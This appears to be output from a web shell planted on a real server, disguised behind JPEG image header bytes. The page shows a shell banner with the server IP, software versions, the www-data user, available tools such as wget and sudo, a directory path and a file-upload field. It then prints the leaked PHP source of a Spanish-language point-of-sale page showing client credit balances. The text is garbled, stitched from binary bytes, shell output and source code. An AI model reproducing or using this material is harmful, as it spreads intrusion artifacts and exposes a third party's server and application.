����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.117.85.73 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<?php $client = PersonData::getById($_GET["id"]); //compra a vredito $total = PaymentData::sumByClientId2($client->contract)->total; //enganche $enganche = PaymentData::ClientSellById($client->contract)->enganche; //print_r($enganche); $fecha = PaymentData::ClientSellById($client->contract)->created_at; //obtenemos el total de la venta y el enganche $venta = SellData::getByIdSaleClient($client->contract); ?> <section class="content-header"> <nav class = "navbar navbar-inverse"> <div class = "container-fluid"> <a href = "#" class = "navbar-brand">Estado de Cuenta de Cliente</a> </div> </nav> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Cobranza</a></li> <li class="active">Cuenta </li> </ol> </section> <section class="content"> <div class="row"> <div class="col-md-12"> <h5>Contrato: <u><b><?php echo $client->contract;?></b> </u></h5> <h4>Cliente: <u><b><?php echo $client->name; ?></b></u></h4> <h5>Monto del credito: <u><b>$ <?php //sacamos el enganche $date = PaymentData::ClientPayByContractProg($client->contract); // print_r($date); if(isset($date)){ echo $venta->total; }else{ //enganche en efectivo $dateF = PaymentData::ClientPayByContractEfe($client->contract); if(isset($dateF)){ echo number_format($venta->total+$dateF->val); }else{ echo number_format($venta->total); } } ?></b></u></h5> <a href="./?view=credit" class="btn btn-default"> <i class="fa fa-arrow-left"></i> Regresar</a> <a href="./?view=makepayment&id=<?php echo $client->id_cust; ?>" class="btn btn-default"> <i class="fa fa-money"></i> Alta abono</a> <a href="./report/paymenthistory-word.php?id=<?php echo $client->contract; ?>" class="btn btn-default"> <i class="fa fa-file-text"></i> Descargar Word (.docx)</a> <a href="./report/paymenthistory-excel.php?id=<?php echo $client->contract; ?>" class="btn btn-default"> <i class="fa fa-file-text"></i> Descargar Excel (.xlsx)</a> <br><br> <?php //solo abonos $users = PaymentData::getAllByClientId2($client->contract); //echo "qui"; //print_r($users); ?> <?php if(count($users)>0){ // si hay usuarios ?> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>Fecha Pago</th> <th>Tipo de Pago</th> <th>Monto de Abono</th> <th>Saldo</th> <th></th> </thead> <?php //inician abonos dejando fuera el enganche programado y el enganche efectivo $programado = PaymentData::ClientPayByContract($client->contract); //print_r($programado); if(isset($programado)): if($programado->programmed != 0):?> <?php //enganche programado ?> <tr> <td><?php echo $fecha;?></td> <td><b>Enganche Programado </b></td> <td><u>$ <?php echo number_format($enganche,2,".",",");?></u></td> <td><u>$ <?php echo number_format($total,2,".",",");?></u> <small>< Saldo inicial Sin Enganche ></small></td> </tr> <?php ?> <?php else:?> <tr> <td><?php echo $programado->pay_date;?></td> <td><b>Enganche</b></td> <td><u>Programado (*)</u></td> <td><u>$ <?php echo number_format($total,2,".",",");?></u> <small>< Saldo inicial despues del enganche ></small></td> </tr> <?php endif; else: $dateF = PaymentData::ClientPayByContractEfe($client->contract); //print_r($dateF->created_at); ?> <tr> <td><?php if(isset($dateF)){ echo $dateF->created_at; ?> </td> <td><b>Enganche</b></td> <td><u>$ <?php echo number_format($enganche,2,".",",");?></u></td> <td><u>$ <?php echo number_format($total,2,".",",");?></u> <small>< Saldo inicial despues del enganche ></small></td> <?php }else{ //pago programado PAGADO $dateFP = PaymentData::ClientPayByContProgPagado($client->contract); ?> <?php echo $dateFP->pay_date;?> </td> <td> Programado Pagado </td> <td>$ <?php //enganche programado pagado echo number_format($dateFP->val); ?> </td> <td><u>$ <?php echo number_format($total=$total-$dateFP->val,2,".",",");?></u> <small>< Saldo inicial despues del enganche en efectivo ></small></td> <?php } ?> </tr> <?php endif;?> <?php foreach($users as $user){ ?> <tr> <td><?php echo $user->created_at; ?></td> <td><?php echo $user->getPaymentType()->name; ?></td> <td>$ <?php echo number_format(abs($user->val),2,".",",");?></td> <td>$ <?php echo number_format($total+$user->val,2,".",",");?> </td> <td style="width:230px;"> <?php if($user->payment_type_id==2):?> <?php endif; ?> </td> </tr> <?php //total de pagos $total +=$user->val; //termina abonos }?> </table> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead align="right"> <th>Saldo Actual de Cliente</th> </thead> <tr> <td> <u> $ <?php echo number_format($total,2,".",",");?> </u> </td> </tr> </table> </div> </div> <?php }else{ //solo enganche ?> <?php if($total>0){ // si hay usuarios ?> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead> <th>Fecha</th> <th>Tipo</th> <th>Valor</th> <th>Saldo</th> <th></th> </thead> <tr> <td><?php //sacamos el enganche $date = PaymentData::ClientPayByContractProg($client->contract); if(isset($date)){ print_r($date->pay_date); ?> <td> <?php echo "E. Programado";?> </td> <td> <?php echo $date->val;?> <?php }else{ $dateF = PaymentData::ClientPayByContractEfe($client->contract); //enganche en efectivo if(isset($dateF)){ print_r($dateF->created_at); }else{ //enganche programado pagado $dateFP = PaymentData::ClientPayByContProgPagado($client->contract); print_r($dateFP->pay_date); } ?></td> <td> <?php if(isset($dateF)){ echo "Ë. Efectivo"; }else{ //pago programado PAGADO echo "Programado Pagado"; } ?> </td> <td> <?php //pago en efectivo if(isset($dateF)){ echo $dateF->val; }else{ //pago programado PAGADO echo number_format($dateFP->val); } ?> </td> <?php } ?> <?php if(isset($date)){?> <td><u>$ <?php echo number_format($total-$enganche,2,".",",");?></u> <small>< Saldo inicial ></small></td> <?php }else{?> <?php if(isset($dateFP)){?> <td><u>$ <?php echo number_format($total-$dateFP->val,2,".",",");?></u> <small>< Saldo Con Enganche programado Pagado** ></small></td> <?php }else{?> <td><u>$ <?php echo number_format($total,2,".",",");?></u> <small>< Saldo inicial ** ></small></td> <?php } } ?> </tr> </table> <div class="box box-primary"> <table class="table table-bordered table-hover"> <thead align="right"> <th>Saldo Actual de Cliente*</th> </thead> <tr> <td> <?php if(isset($date)){?> <u> $$ <?php echo number_format($total-$enganche,2,".",",");?> </u> <?php }else{ ?> <u> $$$ <?php echo number_format($total,2,".",",");?> </u> <?php } ?> </td> </tr> </table> </div> </div> <?php } // echo "<p class='alert alert-danger'>No hay Historial del cliente</p> } ?> </div> </div> </section> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>